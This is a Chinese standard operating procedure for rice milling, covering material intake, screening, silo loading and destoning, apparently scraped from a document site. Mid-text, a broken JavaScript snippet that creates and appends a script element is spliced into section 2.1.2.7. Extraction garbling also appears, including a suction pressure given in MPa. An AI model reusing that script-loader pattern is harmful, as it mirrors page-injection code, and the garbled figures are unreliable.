大米生产标准操作规程

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1、文档仅供参考，不当之处，请联系改正大米生产标准操作规程大米生产标准操作规程一、目的 规范大米生产环节中各工序的操作。二、适用范围 公司所属车间水稻加工、大米再加工，水稻或大米的代加工，大 米生产技术考核与培训。三、标准操作规程 大米生产流程：来料接收T大米生产T产品贮存1.来料接收来料接收操作流程来料验收T监督卸料T清理T上仓1.1 来料验收操作规程1.1.1 适用范围：进入车间加工的原料，包括水稻、大米等。 1.1.2 操作规程1.1.2.1 确认来料的品种和数量。1.1.2.2 索要该批物料的最新（ 3日内）品质检验报告。1.1.2.3 与生产计划中的原料要求进行比对，确定是否为所需原 料

2、，如有差异，应通知车间主任按规定处理。1.1.2.4 告知上料人员上料时间和上料口位置。来料验收为关键控制点。目的：分清各部门在原料质量管理方面的责任。内容：对来料进行品质检验。1.2 监督卸料操作规程1.2.1 适用范 围： 过秤后 的 散积 或 袋 积物料 ，定 量 包装 的 物 料。 1.2.2 操作规程1.2.2.1 确保过秤后的物料安全运至上料口。如有散落，应要求运 输工人及时收回；如有影响物料品质的因素（如淋雨等）时，应 及时中止运输。1.2.2.2 检查并清除卸料作业区内有影响物料品质的因素，要求卸 料过程在卸料区内完成。 1.2.2.3 检查运输散积物料的车辆，确认 车内物料已

3、全部卸完；检查袋积物料的空包装物，确认袋内物料 已全部倒出。1.2.2.4 整 理 卸 料 过 程 中 散 落 的 物 料 ， 并 全 部 投 入 到 上 料 口。 1.2.2.5 办理物料交接手续。1.3 清理操作规程1.3.1 适用范围：移动式圆筒初清筛，固定式圆筒初清筛。 1.3.2 操作规程1.3.2.1 固定设备，保证设备在使用过程中不发生移动。确保设备 出料口对准上仓设备的进料口，且不会发生刚性接触。1.3.2.2 检查初清筛的滚筒筛面，去除筛面上的杂质。1.3.2.3 检查初清筛的滚筒筛面，筛面应无破损，如有破损应立即 更换（更换方法参阅设备维修维护手册）。1.3.2.4 下杂口

4、挂好接料袋，确保杂质不外漏。1.3.2.5 点启动电机，观察设备运转情况。如有异常，按设备维 修维护手册检查并排除故障。1.3.2.6 启动电机，设备运转 1 分钟后开始给料。1.3.2.7 设备使用过程中，如有异常，应先停止给料，再关停设 备，按设备维修维护手册检查并排除故障。1.3.2.8 下杂袋满了要及时更换。1.3.2.9 及时清理洒漏的物料，停料后，设备要继续运转 2 分钟再 关机。 1.3.2.10 清除滚筒筛面上的杂质。 1.3.2.11 杂质过秤后运至 指定位置。1.3.2.12 松开可移动设备的固定装置，移至指定位置。1.4 上仓操作规程1.4.1适用范围：用输送设备把散料送

5、入料仓。1.4.2 操作规程1.4.2.1 确认输送设备的出料口对准指定的料仓。1.4.2.2 点启动电机，观察输送设备运转情况。如有异常，按设 备维修维护手册检查并排除故障。1.4.2.3 启动电机，设备运转 1 分钟后开始给料。1.4.2.4 设备使用过程中，如有异常，应先停止给料，再关停设 备，按设备维修维护手册检查并排除故障。1.4.2.5 停料后，设备要继续运转 2 分钟再关机。2.大米生产 大米生产操作流程初清T清理T去石T砻谷T谷糙分离T厚度分级T调质T碾米T白 米 分 级 T 色 选 T 抛 光 TJJ稻壳粉碎T壳粉包装长度分级精选T大米包装2.1 初清操作规程2.1.1 适用

6、范围：自衡振动筛（无垂直吸风道），平面回转筛 2.1.2 操作规程2.1.2.1 检查振动筛上、下层筛面，去除筛面上的杂质。2.1.2.2 检查振动筛上、下层筛面，筛面应无破损，如有破损应立 即更换（更换方法参阅设备维修维护手册）。2.1.2.3 检查振动筛下杂口，清理杂质，确保下杂通畅。2.1.2.4 检 查振 动 筛 进 料 端筛 框 固 定 螺母 ， 确 保 筛 框已 被 压 紧。 2.1.2.5 检查振动筛两侧筛框固定螺母，确保筛框已被锁紧。 2.1.2.6 大、小杂接料口挂好接料袋，确保杂质不外漏。2.1.2.7 启动设备，注意观察筛体振动情况，如有不正常跳动、晃 动现象或非正常响声

7、，应var script = document.createElement(script); script.src = document.body.appendChild(script);82020 年 4 月 19 日立即停机，按设备维修维护手册检查并排除故障。2.1.2.8 打开给料闸门，调整匀料板使物料左右均匀流入上层筛 面。调好后，必须用销紧螺母紧固匀料板轴。2.1.2.9 注意观察大、小杂内是否混有粮食，如混有粮食应立即停 机，按设备维修维护手册检查筛面情况。2.1.2.10 上层筛面杂质至少每 1 小时清理一次，下杂袋满了要及时更换。 2.1.2.11 给料停止后，设备继续运转 2

8、 分钟后再停机。2.1.2.12 设备长时间不运转，应按设备维修维护手册拆下上、 下层筛面完全去除杂质，并检查筛面是否有破损。2.2 清理操作规程2.2.1适用范围：自衡振动筛（有垂直吸风道）2.2.2 操作规程2.2.2.1 检查振动筛上、下层筛面，去除筛面上的杂质。2.2.2.2 检查振动筛上、下层筛面，筛面应无破损，如有破损应立 即更换（更换方法参阅设备维修维护手册）。2.2.2.3 检查振动筛下杂口，清理杂质，确保下杂通畅。2.2.2.4 检 查振 动 筛 进 料 端筛 框 固 定 螺母 ， 确 保 筛 框已 被 压 紧。 2.2.2.5 检查振动筛两侧筛框固定螺母，确保筛框已被锁 紧

9、 。 2.2.2.6 大 、 小 杂 接 料 口 挂 好 接 料 袋 ， 确 保 杂 质 不 外 漏。 2.2.2.7 启动吸风装置，使垂直吸风道内有风经过。2.2.2.8 启动清理设备，注意观察筛体振动情况，如有不正常跳 动、晃动现象或非正常响声，应立即停机，按设备维修维护手 册检查并排除故障。2.2.2.9 打开给料闸门，调整匀料板使物料左右均匀流入上层筛 面。调好后，必须用销紧螺母紧固匀料板轴。2.2.2.10 平稳地打开垂直吸风分离器风量调节板，小心调整风量， 使粮食不随杂质吸出。 2.2.2.11 注意观察大、小杂内是否混有粮 食，如混有粮食应立即停机，按设备维修维护手册检查筛面 情

10、况。2.2.2.12 上层筛面杂质至少每 1 小时清理一次，下杂袋满了要及时更换。 2.2.2.13 给料停止后，设备继续运转 2 分钟后再停机。2.2.2.14 设备长时间不运转，应按设备维修维护手册拆下上、 下层筛面完全去除杂质，并检查筛面是否有破损。2.3 去石操作规程2.3.1 适用范围：比重分级去石机 2.3.2 操作规程2.3.2.1 检查筛面是否平整、有无破损，如有问题应按设备维修 维护手册拆下整个筛框并处理。2.322启动吸风装置，风压表度数应不小于7.5MPa，最佳为12MPa。2.3.2.3 启动去石机，注意观察机体振动情况，如有不正常跳动或 晃动现象，应立即停机，按设备维修维护手册检查并排除故 障。2.3.2.4 打开给料闸板，使原料铺满上、下层筛面。2.3.2.5 松开风量调节板手柄紧定螺丝，调节风量，使上、下料层 均处于半悬浮状态，控制上、下层物料分配比例（增加风量可减 少下层物料量）。调好后，锁紧手柄紧定